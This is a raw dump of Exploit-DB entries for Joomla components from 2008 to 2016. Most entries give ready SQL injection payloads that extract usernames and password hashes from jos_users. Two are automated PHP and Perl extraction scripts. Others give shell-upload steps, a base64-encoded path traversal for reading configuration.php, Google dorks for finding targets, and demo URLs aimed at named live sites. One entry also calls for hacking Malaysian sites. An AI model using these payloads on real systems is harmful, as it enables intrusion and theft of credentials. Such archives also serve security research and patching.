deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9534
Description: Joomla! Component com_digifolio 1.52 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-27
Author: v3n0m

Exploit:
*********************************************************************
Joomla Component com_digifolio 1.52 (id) SQL Injection Vulnerability
*********************************************************************
			--==[ Author ]==--
[+] Author	: v3n0m
[+] Contact	: v3n0m666[at]live[dot]com
[+] Blog	: http://0wnage.wordpress.com/
[+] Group	: YOGYACARDERLINK
[+] Site	: http://yogyacarderlink.web.id/
[+] Date	: August, 27th 2009 [INDONESIA]
*********************************************************************
		       --==[ soft Info ]==--
[+] Software	: DigiFolio Component
[+] Version 	: 1.52
[+] Vendor 	: http://www.uwix.nl/testcase/
[+] License	: GPL
[+] Vulnerable	: SQL Injection
[+] Google Dork	: inurl:"com_digifolio"
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[-] Exploit:
[+] /**/and/**/1=2/**/union/**/select/**/1,2,group_concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/from/**/jos_users--

[-] SQLi p0c:
[+] http://localhost/[path]/index.php?option=com_digifolio&view=project&id=[xxx]/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/from/**/jos_users--
    [xxx] = Valid id number

[-] Demo Live:
[+] http://www.uwix.nl/testcase/index.php?option=com_digifolio&view=project&id=4/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/from/**/jos_users--

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Special Thanks	=> str0ke & milw0rm
RedLine Crew	=> Bang Musa,Bang Yuan Rasugi Sang,Mas Andre,Dagol,Yazid
		=> Ogie,Angga,Indah Boing,by-y0u Pletokan,Andrew
YOGYACARDERLINK => lingah,leQhi,-Jali,Anak_Naga_,g0nz,IdioT_InsidE,aRiee
		=> yoga0400,ghareng,eidelweiss,pKi,kaka11,z0mb13,Travis Eshan
Others		=> g0par Santiago,Don Tukulesto,yadoy666,mixbrainwasher
		=> badkiddies,broken_hack,M3G4TR0N & ALL MOSLEM HACKERS

* Fuck to Malaysia <= the truly country stealer of asia
  be carefull your art country get stolen and claimed by them
  letz we hack they sites & servers !! PROUD TO BE INDONESIAN !!
* 04:30am in my bedroom, Inspirated by Yogyakarta & jovita (i really mizz you)

# milw0rm.com [2009-08-27]
Exploit-DB #8134
Description: Joomla! Component com_digistore - 'pid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-03-02
Author: InjEctOr5

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#          Joomla com_digistore (pid) Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1sT  ===
#                        cyb3r-1st [at] hormail.com
#                               inject0r5 t3am 
#
#                                  : Usage :
#php file.php "http://site/index.php?option=com_digistore&task=show_product&pid=1"
#
#                                : Sp.GrEetZ :
#            [ All friends ] & [ www.7rs.org ] & [ www.tryag.com] 
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} 
?>

# milw0rm.com [2009-03-02]
Exploit-DB #10546
Description: Joomla! Component com_digistore - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-18
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >

#############################################################
       Joomla Component com_digistore SQL injection Vulnerability                                          
#############################################################

# author        : Fl0riX
# Greetz    : BARCOD3 , Septemb0x, Deep-Power,DreamPower,Pyske,F0rtys3v3n,BlackApple
# Name        : com_digistore

# Bug Type       : SQL Injection

# Infection      : Admin login bilgileri al&#65533;nabilir.

# Demo Vuln.     :
http://server/index.php?option=com_digistore&controller=digistoreProducts&task=list&cid[]=-2/**/union/**/select/**/user(),user(),user(),version(),user(),user()

# Bug Fix Advice : Zararl&#65533; karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_digistore&controller=digistoreProducts&task=list&cid[]=null/**/union/**/select/**/0,1,2,concat(username,0x3a,password),user(),user()/**/from/**/jos_users

< -- bug code end of -- >
Exploit-DB #34484
Description: Joomla! Component com_dirfrm - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-08-18
Author: Hieuneo

Exploit:
source: https://www.securityfocus.com/bid/42512/info

The 'com_dirfrm' component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/path/index.php?option=com_dirfrm&task=listAll&catid=[SQL
Injection]&id=8&Itemid=32

http://www.example.com/path/index.php?option=com_dirfrm&task=listAll&catid=1&id=[SQL
Injection]&Itemid=32
Exploit-DB #18380
Description: Joomla! Component com_discussions - SQL Injection
Type: webapps
Platform: php
Date: 2012-01-17
Author: Red Security TEAM

Exploit:
# 
# Title     : Joomla Discussions Component (com_discussions) SQL Injection Vulnerability
# Author    : Red Security TEAM
# Date      : 17/01/2012
# Risk      : High
# Software  : http://extensions.joomla.org/extensions/communication/forum/13560
# Tested On : CentOS
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=[SQLi]
#
# Example   : 
#
# 1. [Get Database Name]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)--+a
# 2. [Get  Tables  Name]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from `information_schema`.tables where table_schema=0x6F7574706F7374715F6F65646576)--+a
# 3. [Get      Username]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,unhex(Hex(cast(jos_users.username as char))),0x27,0x7e) from `[Database Name]`.jos_users Order by username limit 0,1) --+a
# 4. [Get      Password]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,unhex(Hex(cast(jos_users.password as char))),0x27,0x7e) from `[Database Name]`.jos_users Order by username limit 0,1) --+a
#
Exploit-DB #12479
Description: Joomla! Component com_djClassifieds 0.9.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-02
Author: Sid3^effects

Exploit:
# Dork:inurl:com_djclassifieds
         

############################################################################

		ooooo  .oooooo.  oooooo   oooooo     oooo
		`888' d8P'  `Y8b  `888.    `888.     .8'
		 888 888           `888.   .8888.   .8'
		 888 888            `888  .8'`888. .8'
		 888 888             `888.8'  `888.8' 
 		 888 `88b    ooo      `888'    `888'
		o888o `Y8bood8P'       `8'      `8'   
                                        
--------------------------------------------------------------------------------------
#####################Sid3^effects aKa HaRi##################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
#ShouTZ:kedar,dec0d3r,41.w4r10r     
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
 
Description :
 The DJ-Classifieds extension allows you to add text advertisements into thematic categories, assigning images and descriptions to them.
You can also allow users to add their own advertisements at your website with possibility to charge users for it (paypal).

Features:
free and paid classifieds
menu module
items module
search module

############################################################################

Xploit : Upload Vulnerability

       
 STEP 1 : Register first :)
 
 STEP 2 : Goto "Add classifieds"option.

 STEP 3 : The attacker either upload  a shell by changing the extension of the shell to .img,.gif or.bmp.
        The description part is also vulnerable.
        By uploading the evil script succesfully one can attack. :)


 Once uploaded you can check your classifieds :P

DEMO URL:

http://server/index.php?option=com_djclassifieds&view=showitem&cid=6&id=29&Itemid=1


############################################################################


#Sid3^effects
Exploit-DB #11289
Description: Joomla! Component com_dms 2.5.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-30
Author: kaMtiEz

Exploit:
/**************************************************************************

[~] Joomla Component com_dms Remote SQL injection vulnerability - (category_id)
[~] Author	: kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage	: http://www.indonesiancoder.com
[~] Date	: 28 January, 2010


**************************************************************************/

[ Software Information ]

[+] Vendor : http://joomdonation.com/
[+] Info : http://joomdonation.com/index.php?option=com_content&view=article&id=41&Itemid=40
[+] version : 2.5.1 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_dms"
[+] Type : commercial
===========================================================================

[ Vulnerable File ]

http://server/index.php?option=com_dms&task=view_category&category_id=[INDONESIANCODER]

[ Exploit ]

-666+union+all+select+666,666,666,666,666,666,666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,666,666,666,666,666+from+jos_users--

[ Demo ]

http://server/index.php?option=com_dms&task=view_category&category_id=-666+union+all+select+666,666,666,666,666,666,666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,666,666,666,666,666+from+jos_users--
===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] Bercinta Sekuat Tenaga !
[+] rm -rf 

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure ..
Exploit-DB #5080
Description: Joomla! Component com_doc - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-07
Author: S@BUN

Exploit:
#########################################################################
#
# Commonwealth Business Council SQL Injection
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
#########################################################################
#
# DORK 1 : allinurl: "index.php?option=com_doc"
#
# DORK 2: "Commonwealth Business Council
#
##########################################################################
EXPLOIT :

index.php?option=com_doc&task=view&sid=-1/**/union/**/select/**/concat(username,0x3a,password),1,2,concat(username,0x3a,password),0x3a,5,6,7,8,password,username,11/**/from/**/jos_users/


##########################################################################
# S@BUN                    www.hackturkiye.com                S@BUN
##########################################################################
# S@BUN                       i AM NOT HACKER                      S@BUN
##########################################################################

# milw0rm.com [2008-02-07]
Exploit-DB #37620
Description: Joomla! Component com_docman - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-07-15
Author: Hugo Santiago

Exploit:
# Joomla docman Component 'com_docman' Full Path Disclosure(FPD) & Local File Disclosure/Include(LFD/LFI)
# CWE: CWE-200(FPD) CWE-98(LFI/LFD)
# Risk: High
# Author: Hugo Santiago dos Santos
# Contact: hugo.s@linuxmail.org
# Date: 13/07/2015
# Vendor Homepage: http://extensions.joomla.org/extension/directory-a-documentation/downloads/docman
# Google Dork: inurl:"/components/com_docman/dl2.php"

# Xploit (FPD): 
 
 Get one target and just download with blank parameter: 
 http://www.site.com/components/com_docman/dl2.php?archive=0&file=
 
 In title will occur Full Path Disclosure of server.
 
# Xploit (LFD/LFI):

 http://www.site.com/components/com_docman/dl2.php?archive=0&file=[LDF]
 
 Let's Xploit...
 
 First we need use Xploit FPD to see the path of target, after that we'll Insert 'configuration.php' configuration database file and encode in Base64:
 
 ../../../../../../../target/www/configuration.php <= Not Ready
 
 http://www.site.com/components/com_docman/dl2.php?archive=0&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA==  <= Ready !
 

And Now we have a configuration file...
Exploit-DB #10965
Description: Joomla! Component com_doqment - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: Gamoscu

Exploit:
#############################################################################
#							                    #
#   Joomla Component com_doqment (cid) SQL Injection Vulnerability          #
#							                    #
#############################################################################


########################################

[~] Author :  Gamoscu
[~] Site   :  www.1923turk.biz
[~] Site   :  www.1923turk.com
[~] Greetz :  Baybora - Manas58 - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO
[~] Blog   :  http://gamoscu.wordpress.com/

########################################

[~] DORK: inurl:com_doqment

########################################

[~] Exploit: /index.php?option=com_doqment&cid=[SQL]
[~] Example: /index.php?option=com_doqment&cid=-11/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7,8/**/from/**/jos_users--

########################################
Exploit-DB #18251
Description: Joomla! Component com_dshop - SQL Injection
Type: webapps
Platform: php
Date: 2011-12-19
Author: CoBRa_21

Exploit:
################################################################################################
#  Exploit Title: Joomla Component (com_dshop) SQL Injection Vulnerability
#
#  Author : CoBRa_21 
#
#  E-Mail : uyku_cu [at] windowslive.com
#
#  Google Dork : inurl:com_dshop
#
#  Status : High-Risk
#
#  Script Page : null
#
#  Reference : https://www.securityfocus.com/bid/47971/info
################################################################################################
#
#  SQL Vulnerability
#
#  http://127.0.0.1/[PATH]/index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12 (SQL)
#
#  SQL Exploit
#
#  +union+select+0,1,2,group_concat(username,0x3a,password),4,5,6,7+from+jos_users
#
################################################################################################
#                                                                                                   ( Vulnerability Researcher ) 
################################################################################################
Exploit-DB #20343
Description: Joomla! Component com_enmasse 1.2.0.4 - SQL Injection
Type: webapps
Platform: php
Date: 2012-08-08
Author: D4NB4R

Exploit:
       

        # Exploit Title: Joomla com_enmasse Remote Exploit

               # Author: Daniel Barragan "D4NB4R"


# Español

# hola, este exploit afecta sitios de ecommerce por lo cual el exploit solo dara una muestra 
# de la extraccion posible de datos, No me hago responsable del uso que se le de. ya que es 
# posible obtener lucro economico por medio del mismo. El script esta hecho con tablas por 
# defecto de joomla.

# English

# hi, this exploit affects ecommerce sites so the exploit only give a sample of the 
# possible extraction of data, I am not responsible for any use that is given. since 
# it is possible to obtain economic profit through this. the script is done with joomla default tables.



#!/usr/bin/perl -w

########################################
# Exploit Title: Joomla com_enmasse Remote Exploit
#
# Dork: inurl:index.php?option=com_enmasse
#
# Date: [06-08-2012]
# 
# Author: Daniel Barragan "D4NB4R"
# 
# Twitter: @D4NB4R
# 
# site: http://poisonsecurity.wordpress.com/
# 
# Vendor: http://www.matamko.com/
# 
# Version: 1.2.0.4 (last update on Jul 27, 2012)
# 
# License: Enmasse 6 Months Support & Subscription -  USD$358.20
#
# Demo: http://www.matamko.com/products/filexpress/live-demo.html
#  
# Tested on: [Linux(bt5)-Windows(7ultimate)]
#
# Gretz: r0073r, indoushka, Ksha, Devboot, pilotcast, shine, aku, navi, dedalo etc.... 
########################################

print "\t\t\n\n";
print "\t\n";
print "\t            Daniel Barragan  D4NB4R                \n";
print "\t                                                   \n";
print "\t        Joomla com_enmasse Remote Exploit \n";
print "\t\n\n";

use LWP::UserAgent;
print "\nIngrese el Sitio:[http://wwww.site.com/path/]: ";

chomp(my $target=<STDIN>);

$concatene="concat(password)";
$table="jos_users";
$d4nb4r="floor";
$com="com_enmasse";
$seleccione="select";


$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "index.php?categoryId=1&controller=deal&keyword=1&locationId=1&option=".$com."&sortBy=117 and(".$seleccione." 1 from(".$seleccione." count(*),concat((".$seleccione." (".$seleccione." (".$seleccione." ".$concatene." from ".$table." Order by username limit 0,1) ) from `information_schema`.tables limit 0%2C1)%2C".$d4nb4r."(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1";

$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-:a-fA-F]{32})/)  {

print "\n Hash Admin : $1\n\n";
print " El exploit fue exitoso si desea ver mas datos modifique el script\n";
print " The exploit was successful if you want to see more data modify the script\n";

}
else{print "\n[-] No se pudo, intente manualmente\n";}

#####Daniel Barragan D4NB4R 2012################
Exploit-DB #39953
Description: Joomla! Component com_enmasse 5.1 < 6.4 - SQL Injection
Type: webapps
Platform: php
Date: 2016-06-15
Author: Hamed Izadi

Exploit:
        # Exploit Title: Joomla com_enmasse  - SQL Injection
 
               # Author: [ Hamed Izadi ]

						#IRAN

# Vendor Homepage : http://extensions.joomla.org/extensions/extension/social-web/social-buy/en-masse
# Category: [ Webapps ]
# Tested on: [ Win ]
# Versions: 5.1-6.4
# Date: 2016/06/15
# Google Dork: inurl:component/enmasse/


# PoC:
# id Parameter Vulnerable To SQL
 
# Demo:
# http://server/component/enmasse/term?tmpl=component&id=2%27


# Youtube: https://youtu.be/LB5qVnXhzXE

#  L u Arg
Exploit-DB #13951
Description: Joomla! Component com_eportfolio - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-06-20
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Joomla com_eportfolio Upload  Vulnerability
Date : june, 20 2010
Critical Level 	: HIGH
Vendor Url : http://www.joomplace.com/e-portfolio/e-portfolio-description.html
Google Dork:inurl:com_eportfolio
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,gunslinger_
greetz to :All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
Advanced access control will let a user decide who will be able to read and comment his joomla portfolio. There are many configuration features like the ability to upload files to portfolio, calendar and events by users and others.

Who can use E-portfolio?

* professionals wanting to have their own advanced blog with features such as forum and calendar
* people looking for job to list their CV's
* students and graduates having their portfolio ONLINE to be visible for teachers, parents, CEOs, etc.
* anyone who wants the worls to know who they are, what they do and have already done!
###############################################################################################################

Xploit:Upload  Vulnerability

STEP 1: Always register as a user :P

STEP 2: Select any of the options Achievements •  Plans •  Events •  Pages.

DEMO URL :http://server/index.php?option=com_eportfolio&Itemid=1&task=viewlinks&user=71

STEP 3: Now the attackers can upload their shells in the above options :)

DEMO URL : http://server/index.php?option=com_eportfolio&Itemid=18&task=personal&user=71

STEP 4: Now you can check your shell n root the server :P
###############################################################################################################
# 0day no more 
# Sid3^effects